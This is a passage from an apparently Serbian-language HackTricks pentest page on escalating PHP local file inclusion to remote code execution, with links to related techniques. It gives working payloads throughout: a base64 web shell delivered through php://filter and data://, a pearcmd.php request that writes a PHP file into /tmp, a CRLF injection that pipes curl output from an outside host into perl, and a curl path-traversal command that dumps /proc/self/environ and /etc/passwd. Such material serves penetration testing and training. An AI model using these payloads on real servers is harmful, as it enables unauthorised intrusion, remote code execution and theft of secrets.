Kao što je prikazano u this članku, PHP base64 filter jednostavno ignoriše sve što nije base64. Možeš to iskoristiti da zaobiđeš proveru ekstenzije fajla: ako pošalješ base64 koji se završava sa “.php”, filter će zanemariti “.” i dodati “php” base64-u. Evo primera payload-a:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via php filters (no file needed)
Ovaj writeup objašnjava da možete koristiti php filters to generate arbitrary content kao izlaz. To u suštini znači da možete generate arbitrary php code za include without needing to write u fajl.
Via segmentation fault
Otpremite fajl koji će biti sačuvan kao privremeni u /tmp, zatim u isti zahtev, izazovite segmentation fault, i tada privremeni fajl neće biti obrisan pa ga možete pronaći.
LFI2RCE via Segmentation Fault
Via Nginx temp file storage
Ako ste pronašli Local File Inclusion i Nginx radi ispred PHP, možda ćete moći da dobijete RCE ovom tehnikom:
Via PHP_SESSION_UPLOAD_PROGRESS
Ako ste pronašli Local File Inclusion čak i ako nemate sesiju i session.auto_start je Off. Ako pošaljete PHP_SESSION_UPLOAD_PROGRESS u multipart POST podacima, PHP će omogućiti sesiju za vas. Ovo možete zloupotrebiti da dobijete RCE:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Via temp file uploads in Windows
Ako ste pronašli Local File Inclusion i server radi na Windows, možda ćete dobiti RCE:
Via pearcmd.php + URL args
As explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. Štaviše, moguće je proslediti argumente skripti putem URL-a, jer je naznačeno da ako URL parametar nema =, treba da se koristi kao argument. Pogledajte takođe watchTowr’s write-up i Orange Tsai’s “Confusion Attacks”.
Sledeći zahtev kreira fajl u /tmp/hello.php sa sadržajem <?=phpinfo()?>:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Sledeće zloupotrebljava CRLF vuln da dobije RCE (iz here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Preko phpinfo() (file_uploads = on)
Ako ste pronašli Local File Inclusion i fajl koji izlaže phpinfo() sa file_uploads = on, možete dobiti RCE:
Preko compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Ako ste pronašli Local File Inclusion i možete exfiltrate the path privremenog fajla, ALI server proverava da li fajl koji će biti uključen ima PHP oznake, možete pokušati da bypass that check pomoću ovog Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Preko eternal waiting + bruteforce
Ako možete da iskoristite LFI da upload temporary files i naterate server da hang PHP izvršavanje, onda možete brute force imena fajlova satima da pronađete privremeni fajl:
Do Fatal Error
Ako uključite bilo koji od fajlova /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Morate uključiti isti fajl 2 puta da biste izazvali tu grešku).
Ne znam koliko je ovo korisno ali možda jeste.
Čak i ako izazovete PHP Fatal Error, PHP temporary files koji su upload-ovani se brišu.
.png)
Sačuvajte traversal sekvence od klijenta
Neki HTTP klijenti normalizuju ili skraćuju ../ pre nego što zahtev stigne do servera, čime se razbijaju directory traversal payloads. Koristite curl --path-as-is da zadržite traversal nepromenjen kada zloupotrebljavate log/download endpoints koji konkateniraju user-controlled filename, i dodajte --ignore-content-length za pseudo-files kao što je /proc:
curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'
Podesite broj ../ segmenata dok ne izađete iz predviđenog direktorijuma, zatim dump-ujte /etc/passwd, /proc/self/cwd/app.py ili druge source/config files.
References
- PayloadsAllTheThings
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
- Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)
- Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5
- watchTowr – We need to talk about PHP (pearcmd.php gadget)
- Orange Tsai – Confusion Attacks on Apache
- VTENEXT 25.02 – a three-way path to RCE
- The Art of PHP: CTF‑born exploits and techniques
- When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
- Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?
- HTB: Imagery (admin log download traversal +
/proc/self/environread) - HTB: Gavel
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


